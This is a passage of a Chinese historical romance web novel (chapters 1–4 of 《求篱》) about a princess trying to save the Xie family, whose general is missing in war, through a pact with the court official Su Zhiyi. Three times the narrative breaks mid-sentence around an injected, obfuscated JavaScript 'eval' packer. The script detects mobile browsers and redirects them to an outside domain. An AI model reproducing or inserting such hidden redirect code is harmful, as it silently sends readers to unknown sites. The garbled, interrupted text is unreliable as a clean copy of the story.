《求篱》 1. 第 1 章 晨间的薄雾散去,天色却不见明。沉沉的阴云汇聚而来,不多一会儿便织起了细细密密的雨丝。 水珠在发间的朱钗上凝结,衣衫也被打湿变得沉甸甸的,湿冷地贴在身上。 殿内终于有了动静,正崇帝的近侍宦官捧着油衣过来。 他躬身叩首,膝行上前,低声,“郡主,天雨寒甚,陛下一早就去了宣政殿,您这般跪着,陛下也瞧不见啊。奴斗胆,郡主不若先去平乐宫歇息一二,徐夫人前日还念着郡主呢……您去平乐宫用些茶点,待陛下回了,奴自会遣人知会于您。” 岑篱却未接油衣,只是问:“那以刘常侍之见,陛下何时能回?” 对面一下子支吾起来,好一会儿才道:“这些日子朝事繁杂,陛下也劳心甚笃啊。” 这便是敷衍的套话了。 人想要避开见面,总是有甚多的理由,况且那人是天子。 岑篱摆手挥开油衣,对着殿门跪得笔直,“儿不肖,在此等大父归来。” 那近侍叹息一声,到底捧着油衣退下去了。 “吱呀”一声朱漆的殿门合上,铜环摇摆的声音在雨中缓缓漾开。 雨丝越织越密,不消片刻,鬓边的头发被彻底打湿,水珠顺着发梢一滴滴落下,将原本只是湿重的衣衫沁得湿透,膝下更是积起了一滩小小的水洼,裙裾的下摆浸在其中,带着湿气的寒意仿佛要钻到骨头缝里,带来阵阵刺痛。 毕竟是承明殿前,周遭还是宫娥内侍来往。 只是所过之人皆有默契,都远远地避开了此处,便是不得已往前,亦是遥施一礼便匆匆离开,仿佛这里是被雨幕隔绝开的另一个世界。 如此凄冷之下,岑篱却有些走神。 他呢?匈奴刀兵加身的时候,是不是也如此之冷? 岑篱不信那人会降,但大军渺无所踪却是事实。在茫茫大漠中丧失踪迹,让人忍不住做不测之想。 岑篱甚至恍惚觉得降了也好,起码能保全性命。 但是又明知以那人的骄傲,是宁肯死也不愿低头的。 遥遥钟鼓声透过雨幕传来,岑篱被拉回了神智,是外廷的朝会开始了。 从朝会开始到朝会结束,岑篱听见廷中公卿的步履渐渐远去,淹没在淋淋的雨声中,但这一处却像是被遗忘一般无人前来。倒是先前的近侍又来了一回,说是“今日朝事颇多,陛下仍在在外廷议事,不知何时能回来”,又是一次委婉地劝离。 岑篱却对着空无一人的殿门叩首:“儿不敢打搅大父政务。” 近侍:“这、这,郡主……唉~” 他叹息着离开了。 雨中跪得时间太久,连膝上的刺痛都已经感受不到,雨水打在湿淋淋的衣衫上,只剩下麻木的冰冷。 不知过了多久,低垂的视线内突然踏入了一双青黑色的鞋履。 鞋头微翘,丝帛的履面防不住雨水,因为被浸湿更显出上面暗绣的云纹。 这并非内侍的鞋履,那不急不缓、好似每一步在积水漾开的波纹都相差仿佛的步伐也绝非近侍。 岑篱忍不住抬头。 青衫的下摆同样被雨水打湿,顺着腰间的蹀躞往上,她看到了一张俊秀温雅的面孔。 岑篱觉得有些眼熟。 青年微微前倾了身,执着伞的手向前。蒙蒙的细雨被遮挡住,密密铺洒在面上的凉意骤止,只剩下朱钗上滴下的水滴。 他未俯身避让,也没有低头叩拜,这举动堪称无礼了。 可偏偏由对方做来,又带着一种浑然天成的自若。 岑篱又辨认了一会儿,才认出了这个常在正崇帝身侧、得许出入禁中的郎官。 她回忆了一下,才不甚熟悉地,“苏郎官?” 苏之仪轻轻颔首。 他眼底仿佛闪过一丝浅淡的笑意,但转瞬即逝,让人看不分明。 他温声:“陛下今日在朝会上发了好大的火。这次出兵本就遭诸臣阻拦,钱粮其一,战马其二,兵丁亦不足……陛下力排众议,这才引兵出征,却遭此大败。如今朝上议论纷纷,丞相言乃天意如此,非是发兵之机,力劝陛下罢手。” 岑篱脸色瞬间惨白下去。 她也算在御前长大,最是知晓这位大父脾气。他是决计不会相信什么“天意”的。 既非天灾,那便只能是“人祸”了。 这简直是把谢家架在火上拷。 “郡主倒也不必忧心。”对方状似宽慰,“虽然战场归降,按律夷族,但谢侯实非等闲人,其虽因昔年旧事被褫夺爵位,但朝中依旧遍布故交。太常寺卿曾受其大恩,如今天子盛怒之下,亦冒死进言,恳求陛下收回成命。百官叩首应和,朝堂人心如此,陛下亦是无可奈何。” 这话落,岑篱却控制不住地打起了哆嗦。 明明淋了这么久的雨,但仿佛在这一刻,凉意才真正透骨而来。 不,那根本不是“收回成命”。 天子最恨受人胁迫,恐怕此时此刻,正崇帝才真正动了杀心。 而这顷刻之间,思绪又指向另一紧要之处。 此刻自己这殿前跪求,是否在这危局上再添薪柴? 岑篱强按捺住心头骤起的寒意,对着身前之人敛衽一礼,“多谢苏郎官示下。” ——绝不能再跪下去了! 苏之仪避让半步,眼神却借着这动作的遮掩半垂过去。 湿透的衣衫狼狈地贴在身上,随着她低头的动作,露出后颈一小片肌肤。那里因为失温而显得苍白,漆黑的发丝黏在上面,隐隐可见仍在蜿蜒的水痕。 他定定地注视了片刻,才缓声开口:“郡主不必言谢,不知郡主可有良策?” 岑篱默然。 经今日朝会上事,眼下绝不能有人在正崇帝面前替谢家求情。 可若不求情,又如何救人呢? 青年像是开解,“陛下虽恨忤逆,但于亲近之人却极优渥。” 岑篱扯出一个苍白的笑。 正崇帝是对心腹宠臣不吝封赏,对血缘之亲也多有宽厚。但若如此叩求下去,恐怕在对方心中,她早就成了外人了。 但事已至此,她也只能,“谢苏郎官宽慰。” “非是宽慰。在下这倒是有一法子,只是说出来,未免辱没郡主,不敢妄言。” 岑篱揖身再谢,“还是阁下不吝赐教。” 话虽如此,岑篱并未指望太多。二人素无交际,对方能来告知此事已是仁至义尽。 却听那边接着,“之仪倾慕郡主已久,只恨出身鄙薄,不堪配郡主贵胄。承蒙圣幸,得行走于御前、荫封于后人,以脱草莽之身。今斗胆相问,不知之仪是否有幸,得郡主垂青?” 岑篱怔住了。 她抬头看去,青衫郎官执着伞立于雨中,身姿如竹,气度清雅,怎么也看不出“出身鄙薄”四个字来。 对方这话的意思又是? 还待说什么,苏之仪已经深作一揖,“恕臣冒犯,还请郡主三思。” 看见旁边张望的小黄门,岑篱也只能把到嘴边的话咽下,轻轻颔了下首。 苏之仪更是像全没说过刚才那番“倾慕”的话一般,再行一礼,便恭恭敬敬地躬身退下了。 苏之仪人走了,倒是把伞留下了。 但这一点微小的遮蔽根本挡不住斜飞而来的雨幕。岑篱分明看见,随着他的转身,后背衣衫洇出一片被雨水打湿的深色痕迹。原来方才替她挡雨的,并不止那柄伞。 * 宣政殿偏殿。 有宦官快步上前,对着门口人耳语几句,话层层相递,最后送到了正崇帝面前。 天子终于从竹简中抬起了头,听不出喜怒地问了句,“走了?” 旁边赵吉立刻接话道:“苏郎官同郡主说了几句话,郡主便离开了,想来也知道陛下政事繁杂,不欲在这时候搅扰陛下。郡主自来懂事,这次也只是一时急昏了头,但待陛下到底是一片赤诚孝心。” 正崇帝嗤了一声,“你倒是向着她。” 赵吉:“到底是在身边长大的孩子,郡主又是打小讨人喜欢的。莫说老奴了,陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111991|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下也是打心眼里疼的。” 正崇帝不置可否。 只是隔了片刻,又问:“你方才说温知去了?” 赵吉小声回着:“是,是苏郎官。陛下命他去西阁取卷宗,想来是途经承明殿时遇到了,苏郎官亦知陛下焦心郡主,不免帮忙劝解一二。两人在廊下说了半刻钟的话,苏郎官走后,郡主便离开了。” 正崇帝倒是笑了,“他倒是会揣摩心思。” …… 并不知道宣政殿的这一番对话,苏之仪走后,岑篱确实没在承明殿外多加逗留。 她去了徐夫人的平乐宫。 先后病逝,正崇帝并未再立,后宫中诸事都由徐夫人打理。 听闻岑篱过来,徐夫人忙让人迎进来,那句“怎得有空来看看我这老婆子”调侃还没说完,就见岑篱这狼狈的样子。 她大惊失色,“怎成了这副样子?!” 又对旁边宫娥训斥,“还不快备热汤,准备给郡主沐浴,连个手炉都不知道送?都是干什么吃的!” 岑篱却顾不得这许多,忙上前几步,对着徐夫人行了一大礼,“篱父母早逝,蒙陛下恩养宫中,如今有一难事,还请夫人做主。” 徐夫人也顾不上岑篱这满身的湿透,忙不迭地拉人起来,“什么做主不做主的?这满朝上下,有谁敢给你委屈受?有什么事尽说便是!” “求夫人为臣女主一婚事。” 这话一出,徐夫人原本惶急的神色滞了滞。 片刻,她表情冷静了点,先是吩咐了旁边的宫娥去准备沐浴,又叫人去拿了手炉,这么七七.八八一吩咐,竟把周围的人全都打发走了。 待到这时,才又伸手握住岑篱冰凉的手,“我知你和那谢小郎君情投意合,但如今景况你也知晓,这婚事便是我允了,你大父也不会答应。况为人长辈的怎么忍心看小辈受苦?那边生死前途尚都未卜,难不成让你父母在天有灵,看着你去守一个不知道会不会被牵连的活寡吗?” 岑篱摇头。 她以为自己会很难说出口,但这会儿却出乎意料地冷静,“非是同谢家的婚事,而是苏氏。” 徐夫人一懵,一时居然没想起来,这满朝上下,有哪个列侯的姓苏。 好半天,她才从那复杂的姻亲关系里扒拉出一个人来,“可是苏奇?虽说如今只是个奉朝请,但先辈到底是随高祖起势之人。身份低点便低点了,你要是喜欢,其他都不打紧,让你大父在朝上多照拂便是了。” 岑篱:“并非此人。是陛下身边郎官,苏温知。” 徐夫人怔了怔。 不知想到了什么,反而松了口气,她拍着岑篱的手笑道:“你这孩子,怎的还置起气来了?闹脾气便闹脾气,可不许拿自己婚事说笑。那苏温知是什么人?其父虽也曾位列朝堂,不过出身小吏,他更不必说,蒙得父荫,在陛下身前一差遣的郎官耳,便是你大父不许你和那谢郎君的婚事,也不会如此辱没于你。” “怎能算辱没?苏郎官受陛下宠信,博闻强识精通律令,前途不可限量……古有吕不韦奇货可居,阿篱也想为自己寻一门亲事,求夫人应允。” 徐夫人怔怔看了岑篱半晌,诧异地发现她是认真的。 她先是觉得荒谬,旋即又意识到什么,嗟叹:“你又何至于此啊?” 岑篱只是摇头,“求夫人做主。” 连面都没见过几次,岑篱不至于相信苏之仪所谓的“倾慕”,但是他有句话却说中了:正崇帝待自己人极为宽厚。 苏之仪想往上爬,他的出身是硬伤。为弥补此事,他得攀一门好亲事。 可如今的风气,莫说皇室宗亲,便是没落勋贵家的女儿,也没有下嫁寒门的。苏之仪先前雨中那些话,若真的被旁人听得,多半要讥笑他痴心妄想,岑篱真的追究起来,能治他的罪也未可知。 可岑篱却觉可行。 对方想借她的郡主身份,恰巧她也需要做点什么挽回这一次的跪求。 在为谢家求情之前,她必须表明,她还是正崇帝的“自己人”。 2. 第 2 章 烈日炙烤下,漫天的黄沙都像是被化得熔融。风裹着沙砾砸在脸上,像是细针在扎。 军队在茫茫大漠中行进,不知去路,找不到归途。 韩培看着忍不住看向身侧的年轻人。 连吃了这么多日沙子,任谁都要灰头土脸。旁边人亦是满身狼狈,早就看不初来之时,京中少年的骄矜气。可是他的眼神一如往昔般锋锐,让人无端端的相信,只要跟着他,必定能找到出路。 可是再怎么相信,在日渐糟糕的事实面前也无法坚持下去。 看了眼身后的士卒,韩培咬了咬牙,驱马往前走了几步,和谢定并行,低声,“将军——” 还未及说话,就见身侧人比了个“停”的手势,反过来问:“你有没有闻到什么气味?” 声音有点滞涩,带着久未饮水的嘶哑。 连日缺水少粮,身体机能自我保护般地降到了最低,不只是嗓音,连五感都钝了许多。 被谢定这么一提醒,韩培才吸着鼻子去嗅闻,好半天才模模糊糊地嗅到点混杂着腥气的皮革味儿。 但不等他回答,谢定已经翻身下马,在附近巡视了一圈,选定了一个方向蹲下。 轻轻拂开表面那层浮沙,看见下面的马蹄印。 跟着下来的韩培惊愕,“这是?!” 谢定笑:“粮草这不就有了?” 韩培磕巴了一下:“你、你知道啊?” 谢定轻嗤。 一军主将,连手底下有多少粮都不知道,他带着人在这里面等死吗? 干裂的唇因为刚才说话撕裂出血来,谢定压着伤口吮了两下,咸涩的气味压下点喉中的干涩,他也懒得浪费口水回答韩培这废话,转头对着旁边的斥候低声吩咐了几句,顷刻间就敲定了接下来的作战方案。 正如他说的,他可不是带这群人等死的。 他要胜。 而且是绝无仅有的大胜! * 徐夫人确实信守承诺,将岑篱的请托转达了正崇帝。 正崇帝想不到苏之仪有那么大的胆子,只当是岑篱的破局之法。便是如此,他还是露出意外之色:“阳嘉这么说?” 徐夫人:“那孩子总是顾全大局。” 正崇帝却是嗤声,“半点都不像楚元,反而学了姓岑的那些弯弯绕。” “楚元公主被陛下和先后捧在手心,行事自然肆意些。但阳嘉这孩子幼失怙恃,虽长在宫中,到底身份尴尬,闲言碎语听多了,难免心思敏.感。” “那些个嚼舌根的,就该早早清干净。”想到旧事,正崇帝脸色也冷下来,只是阴沉了片刻,到底摆了摆手,“行了,这事也不必提了。你告诉她,朕还用不着拿她婚事做什么文章。谢家那小子是不成了,其余人尽由着她挑,看中了哪个,同朕说就是了。” 徐夫人心底不由一松。 她压下面上的表情,低声应了句“唯”。 …… 岑篱还不知道宫中的这一番交谈,淋了这么一场雨,她回府就发起了高热。 侍婢急着要入宫请医,岑篱撑着仅存的一点神智,拉住了拾春的手,厉声,“别去宫中!” 朝会上一遭,她在殿外跪求又第二遭。无论如何,也不能让正崇帝再觉得自己“受胁迫”了。 许是用力过度,这一声过后,岑篱眼前一阵阵发黑,整个人都眩晕着往后栽了一下。 万幸拾春扶住了人。 岑篱缓缓地呼吸了几口气,平复下来,对着旁边,“让府上医工来看看就是。”她顿了顿,强调,“府上的医工。莫要惊动旁人。” 实在太过疲惫,在医工来之前,岑篱已经昏睡过去。 再醒来时,身上轻快了许多,手被旁边的人拉着。 岑篱还以为是拾春,哑着嗓子要了杯水。 那手慌忙松开,外面传来一阵手忙脚乱的动静,隔了一会儿,她才被人略显生疏地撑起了。 岑篱这才看清旁边的人,“兰君?” 谢兰君低声应了一句。 岑篱就着谢兰君的手喝了杯水,抬眼就看见后者六神无主的样子,她低声安抚:“莫慌,还没到那地步。” 谢兰君情绪却有些激动,她颤着声:“岑姐姐,你带我去面圣好不好?我亲自面禀陛下,兄长他绝非降敌之人,谢氏阖族皆可为证!” 岑篱却想要苦笑,如今早就非“谢定降不降”的问题。 她倒想要解释,但涉及帝王心思,实在不好同他人言说。 谢兰君接着:“大兄,大兄才不会降!大兄心心念念洗刷谢家当年旧耻,便是力战而死,也绝不会降敌。” 岑篱心底一紧,这正是她竭力避免去想的另一个可能。 不敢想,也不能去想. 岑篱努力把心思放在别处,只是又听了一会儿,忽觉不对。 她反手抓住了谢兰君的手,抬眼看过去,“谁和你说的这些?!” 十来岁的小姑娘,原本操心的也不过是今日的珠花好不好看,一块儿顽的小姐妹和旁人更亲近了,谢兰君哪来的心思,要去“面见圣上、陈明心迹”?谢侯早年被褫夺爵位,在京中再怎么有名望,也只是平民之身,谢兰君根本没有面圣的门路,她只能去求人——求谢家的姻亲故旧、谢侯的门人旧交。 这么想着,岑篱忽觉背后窜起一阵凉意。 前有朝会上满朝公卿叩请正崇帝收回成命,后有谢家的女儿在京中四处奔走勾连,谢家在正崇帝眼里到底是如何?背后人又想要谢家如何? 谢兰君明显被问得懵了。 岑篱却没有开解,而是盯着她的眼睛,又重复了一遍,“谁教你说的这些话?” 谢兰君:“我、我自己想的。” “你和谁聊过之后,想出的这些?” 良久的沉默。 岑篱还待再问,“啪嗒”一下,一滴泪珠落在她的手背上,紧接着是第二滴第三滴。 谢兰君哽咽着,“我不、不知道,家里突然来了好多人,他们有说大兄死了,有说大兄降了……又说谢家也要完了。我不知道!明明都好好的,大兄走之前都好好的。他说等他回来,家里就能过上好日子。可以前家里也很好啊……” 哽咽声越来越急促,那零碎的句子终究没法再拼成字句。 岑篱怔然片刻,往前伸了伸手,将人揽在了怀里。 谢兰君整个人都扑了过来,放声大哭,“呜呜……岑姐姐,我想大兄了……我不要谢家复爵,也不要光耀门楣,我要大兄回来!” 岑篱只轻轻拍着谢兰君的后背,在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111992|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放声的哭泣中,她低声轻喃:“我也很想他。” …… 这么好一会儿,谢兰君才终于平复下来情绪。 她拿着帕子擦着脸,面带赧色,“大兄走前,还说将谢家交托于我。我这般样子,实在不像是能当得起家的。” “你已经做得很好了。” 谢兰君抿着唇,“我是不是不该去面圣?” 岑篱摇头,“咱们下去说。” 谢兰君侧身让开,岑篱翻身撑在榻边。 可刚一动弹,一阵钻心的疼痛传来,她刷地一下白了脸,控制不住地半蜷起了身。 “岑姐姐?!” 谢兰君连忙上前,顺着岑篱蜷身的方向掀开了被子。 锦被之下,亵裤被小心地卷起,覆盖的草药敷料随着岑篱起身的动作掉在了一边,露出双膝下方一片触目的乌青。膝盖下一整块皮肉都肿胀着鼓起,边缘处晕开着紫淤,在洁白的寝衣映衬下,越发触目惊心。 谢兰君忍不住倒吸口凉气,“这是?!” 岑篱才从那骤然的刺痛中缓过来,也看见了双膝的惨状。 她先是怔了下,又抬头冲着谢兰君笑了笑,一边把那草药的敷料重新放回伤处,一边安慰,“不妨事,白日里不小心磕到了。” 谢兰君:“……” 她又不是三岁的孩子。 便是谢兰君再不通朝事,也知道整个京城里,能让对方跪出这种伤势的人屈指可数,也或者仅仅有那么一位。 刚刚止住的泪又抑不住地往外涌出来,“是我太没用了!” 大兄杳无音讯,岑姐姐跪求天子。可她好像一无是处,既不知道什么该做,也不知道什么不该做。 谢兰君抖着手想要帮忙,却惧于碰触不敢上前。 岑篱拉住了那双颤抖的手,抬眼看过去。 看着那双被泪浸得通红的眼睛,她认真地,“你没有错,是谢家不该遭此劫难。” 不该在一切尽是谣传的时候被仓促定罪,也不该亡于帝王疑心,更不该因幕后小人算计、遭殃得不明不白。 …… 岑篱最后也没从谢兰君那里问出什么线索。 正如谢兰君所说的,这几日登门的人太多了,说辞也大差不差,谢兰君整个人都沉浸的骤来的打击中,勉强做到礼数周全地待客已是难得,再分辨出哪个真情实感哪个落井下石,又有哪个是暗藏祸心,实在是太难为人了。 虽然没能立刻有什么结果,但谢兰君答应回去整理这几日的拜帖送来,又表示自己会回去好好想想谁有不对,也算是个查下去的方向。 而谢兰君走后,岑篱收到一份邀约。 收到邀帖倒是不出奇,京中宴集繁多,但不论哪家设宴,总不会少了岑篱的一份帖子。奇的是这递帖子的人,是苏之仪。 并非上层勋贵的游宴,连送来的邀帖都是木牍的。 浏览过上面雅致又暗藏筋骨的墨字,岑篱沉吟了一会儿,“我库房里有匹新进的锦缎……不,不好,带坛桑落酒吧。” 听出赴宴的意思,拾春诧异,“郡主,你的腿……” 岑篱抬手止了她的话,“离开宴还要几日呢,再养养,到时便好了。” 便是不好也要去,合作总得拿出点合作的诚意。 3. 第 3 章 苏之仪虽给了邀约,但却不至于邀请岑篱到自己府上。 这是城南官宦府邸的一场雅集,主人家刚刚落成新院,又恰逢榴花时节,便广散请帖,邀人赏花。 岑篱把谢兰君带上了。这样的宴会本就带着些年轻男女相亲的意思在,谢兰君出席也并不奇怪,总比对方一家一家上门拜访故交来得合适。 在宴上多见见人,说不定就想起什么来了。 入宴之后,男眷女眷不在一处,隔着一道镂空的墙壁分席列坐。 女郎们坐在花厅,隐隐听见另一边郎君吟诗作赋、曲歌相和,又有投壶射箭之比,忽地传来阵阵叫好声。这下子又引得不少女郎隔着砖墙的镂空偷眼去觑那边,想看看哪位郎君拔得头筹。 这般少女怀春之情让人忍不住会心一笑,但不管是岑篱还是谢兰君,现在都满腹心事、无意于此。 因岑篱身份之故,这府中夫人亲自作陪在侧。 见岑篱自始至终未有展颜的迹象,郑氏神情也拘谨起来,“寒舍鄙陋,若是有照顾不周之处,还望郡主担待一二。” 郑氏也未曾想,只是平平常常一场宴会,居然惹得郡主亲临。 使女禀报的时候她还不信,也亏抱着“宁信其有”的态度出门迎了一场,不然可真真是怠慢了贵人。 再看岑篱此刻靠着凭几侧坐,姿态散漫的样子,她越发不敢造次。 “郑夫人过谦了,太官丞这院子甚好,连榴花开得都比我那儿好上许多。” 郑氏琢磨了下这话的意思,试探着,“郡主若爱此院,妾愿以之相赠。若能博得郡主欢心,想来夫君亦觉是善事。” 岑篱失笑。 这是想到哪里去了? “你夫妻二人在此住得惬意,我可不做这等夺人所好的事。”瞧着对方还不放心的样子,她又接着,“郑夫人若是有心,不若等这榴实熟了,送些过来,也算是全了我的念想。” 郑氏半松口气,“唯。” 眼见着自己再坐下去,这席间诸人都要继续拘束下去,谢兰君也不好与人交谈。岑篱干脆以“不胜酒力”为由,提出暂时离席歇息。 郑氏忙要相送,岑篱拦住了她,“夫人差一人引路便是,这席间还需夫人照料,我妹妹初来乍到,还请夫人多多留心。” 郑氏这才留心到跟着岑篱而来的谢兰君。 太官丞这官职不算低,但却并非围绕帝王的决策中心,如今的任职这位又是因才干从地方上升任,在京城无甚交际门路,因而对谢家的事只是有所耳闻。 这会儿被岑篱这么一提,郑氏才觉得恍然。 谢家前途未卜,但出嫁女不受牵连,若是这位郡主当真和谢娘子有旧交,在这时候想替人寻一门亲事也不足为奇。 岑篱走前又给谢兰君递了个眼神,示意她见机行事。 郑氏见此,越发肯定心中猜测。 既有所求,便好行事了。 她心中大定,连面上的笑意都真诚了许多,“郡主放心将人交予妾,妾必不会慢待谢小娘子。” * 因岑篱赞了院中的石榴花,郑氏便擅做主张,没有把人引入内院,而是出了前厅向侧边,找了个便于赏景的雅阁。这里地势颇高,不远处便是今日宴集之所,从高处往下看,连席间人都能隐约看到。 那使女低声恭禀:“夫人说,此处可尽观园中之景,是赏榴花的好去处。只是不知郡主是否嫌弃吵闹?” 岑篱遥遥看着远处的宴席上的投壶之比,目光微转,又见另一旁席间的苏之仪。 他并未参与旁边的比试,只是坐在席侧,但仍被人隐隐拥簇着,仿佛眼下一切是席间表演一般。 岑篱神色微动,对着一旁的使女:“谢主人好意,此处景致甚好。” 这般说完,她又随口寻了个理由把人支开。见人走远了,才招了招手示意拾春附耳过来,在她耳边小声吩咐了几句。 拾春一开始还躬身听着,但渐渐地,眼底却露出错愕之色,“郡主,这万万不可啊!若是被人得知,您、您该如何处之?” 岑篱却是笑,“便是被知道了又如何?” 难不成说她“私相授受”“放荡形骸”?她倒要瞧瞧,谁有那个胆子在她面前这么说。 拾春张了张嘴,还想要反驳什么,岑篱已经摆手,“你快去吧。若是怕人知晓,行事小心些就是了。” 拾春一步三回头地走了,一直到走出这雅阁前,还盼着岑篱改主意。 只可惜,郡主已经抬眼往远处望去,像是真的在赏榴花了。 …… 而下方的宴会中,苏之仪这郎官虽职位不高,却是天子近臣,在席间不免被拐弯抹角地打探些消息。 苏之仪也习惯如此,对答畅若流水,却又滴水不漏。 只是觥筹之间免不了被屡屡劝酒,如此坐了一会儿,他不得不借着更衣的借口暂避。 才刚刚走出去几步,就被仆役拦住了去路,“苏郎君,有人相请。” 苏之仪面露讶异:既然都在院中,何必私下见面? 想着递送的那份邀帖,他心底隐隐有些猜想。但这推测太过离经叛道,他实在不敢深想下去。 直到被仆役引着见到外面等候的拾春。 那仆役领了人过来,又拿了赏钱,不等拾春说什么,已然连声保证,“还请贵人放心,小的什么都不知道。” 拾春微微颔首,打发走那仆役,又恭敛着眉眼,抬手引路:“苏郎君,这边请。” 便是心底再犯嘀咕,这也是郡主的贵客,她还不至于在面上露出来。 拾春在前一步引路,苏之仪紧随其后。 这赏景的楼阁颇为雅致,连上去的台阶都取了“千回百转”之意——步步往前,也步步登高,回转之间,每一步的景致都有不同。 可苏之仪却没有往下看。 因身侧并无旁人,他也未掩饰自己往上的目光,专注的、灼然的、甚至隐隐带着贪婪的渴求。 终于,目之所及出现那道凭栏倚望的背影。 碧蓝天色为幕,下方是灼灼盛开的石榴花,明明那花色如此艳丽夺人,却只沦为那人的陪衬。 “郡主,人带来了。” 拾春的出声打断了苏之仪的思绪,也让前面的岑篱回身。 苏之仪立时掩下多余的眼神,躬身行礼,端正得让人挑不出半点错处,“臣苏之仪,见过郡主。” “苏郎官不必多礼。” 岑篱说着,又以眼神示意,让拾春出去守着。 拾春:“……” 她虽然不愿,但不得不说,这类似放风的活早就干得很熟练了,只是稍稍磨蹭了片刻以示反抗,人还是出去了。 身后门“吱呀”一声阖上,便是早有所预料,苏之仪也忍不住心底一跳。 意识到如今两人独处一室的事实,胸腔中的跃动都荒唐地快了几分,但话说出口,镇定的语气却与平常别无二致,“如臣直言,这恐怕于礼不合。” 岑篱倒是忍不住笑了,“苏郎官同我说‘礼’?” 这位可是在宫廷大内、承明殿前,都能面不改色地言及“倾慕”。 “若是我没记错,这邀帖可是苏郎官遣人送到我府上的。” 苏之仪还是先前说辞,“《诗》有云,‘邂逅相遇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111993|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适我愿兮’。臣只是倾慕郡主,实无冒犯之意。” 到这会儿还死咬着这说辞不放,岑篱觉得这人还怪有意思的。 虽如此,岑篱却无心和对方分辩他到底倾慕的是郡主的封号,还是别的什么,径自切入主题,问:“先前承明殿前,多谢阁下告知之意。只是苏郎官言及‘满朝公卿皆为谢家叩求’,篱未曾出入朝堂,却不知谢侯何时有了这般名望?苏郎官可有高见?” 苏之仪颔首:“郡主慧眼,此事确实不同寻常。” 别说是谢侯被褫爵又过世的现在了,便是当年他人在朝堂之时,也没有这般众望所归。 苏之仪当然看出了不对,但却没有主动提出来的意思。 说到底,谢家出事同他又有什么干系呢?他该高兴才对。有人生而贵之,便是贬为庶民都觉得是莫大折辱,那些生下来又在尘埃中的人又该当如何? 不过这会儿,却不能“无知无觉”下去了。 他掩住了眼底凉薄之色,顺着岑篱的话开口道:“谢侯性情率直,不拘小节。昔年在朝堂之上也颇有树敌,今次之事朝中却无半点向左之见,实在是让人深思。” 他说着话,跪坐于旁,斟了杯茶水前推,展袖做了个“请”的手势,意在详谈。 岑篱动作却不自然地停顿了一下,有些微的僵硬。 苏之仪怔了下,但也很快意识到什么。 他几乎在转瞬之间收起了那略微放松姿态,半是请罪地揖首,“之仪冒犯了。” 岑篱却不是为此,但这会儿再解释总显得像是借口,她只能顺着对方的示意坐在对面。 有了这般误会,便无法如宴上那般凭几侧坐地散漫行事,只能正襟危坐以示郑重。 膝上的伤处隐隐刺痛,她越发掩下面上的表情,正色道:“苏郎官请讲。” 苏之仪打量下来,见对面确实没有被轻慢的恼怒,才接着续道:“谢侯虽以性情罪人,但真正结仇的却是少数,昔年大司农与其政见不合,朝上针锋相对,直至正崇五载,谢侯兵败,满朝缄默,却是大司农为之求情,可见虽政见向左,却非以仇寇相视……左丞与谢侯多有嫌隙,但同为先韩后人,其与谢氏多了一份宗族之情……” 朝中关系盘根错节,苏之仪这么一一历数过去,仿佛谁都有嫌疑,又好似谁都不会这么做。 苏之仪也有心说得再细致些。 虽说于礼不合,但这般相处机会实在难得,总比侍立御前,只寥寥得见几面的好。 但一抬眼,却见岑篱眉头紧蹙、牙关微咬,像是对那幕后之人恨极了一般。 苏之仪禁不住微微失神。 有的人真是好运气,生来贵胄,便是父亲被问罪,朝中也有旧交为他谋划前途,如今遭罹不幸,更是有人为他四处奔走。 她为他牵挂至此,可他呢?仅仅被认出,他都要觉得是幸事。 袖中的手紧紧掐出血痕,掌心的刺痛感传来,苏之仪被提醒着回神。 却也无法继续说下去。 他深吸口气,做出恳切之态,“谢氏满门忠烈,实在不该亡于小人之手,若是郡主信得过在下,便将此事托付于我,之仪定当不负所托。” 岑篱直直盯着苏之仪的眼睛,后者不闪不避地对视。 她没法判断那面上的恳切有几分真假,但这灼灼的眼神却无从作伪。 膝上的刺痛已然麻木,岑篱一点点坐正了身,将身体的重量压上。 骤然尖锐的痛觉像是要将人拽回承明殿前的大雨中,她神色却没有半点波澜,敛衽行礼,“有劳苏郎官了。” 不管对方所求为何,现在总是站在她这边的。 4. 第 4 章 拾春也不是第一次给岑篱放风了,看见那边阁子的窗户一开,她立刻会意,转头拉住刚刚回来的使女,“郡主受不住风,可烦劳驾去取件披帛过来。” 那使女虽迷惑拾春怎么突然想起披帛的事,但却不敢提出质疑,只是点头称是。 拾春半是交代半是闲聊,盯着人走出去好一段路。 等她折返回来,推开雅阁的门,就见岑篱半屈着膝,侧靠在旁边的矮榻上,鬓发已经被冷汗湿透。 拾春心底一惊,忙不迭地上前扶住了岑篱,又拿着汤媪避开伤处放在膝盖附近。 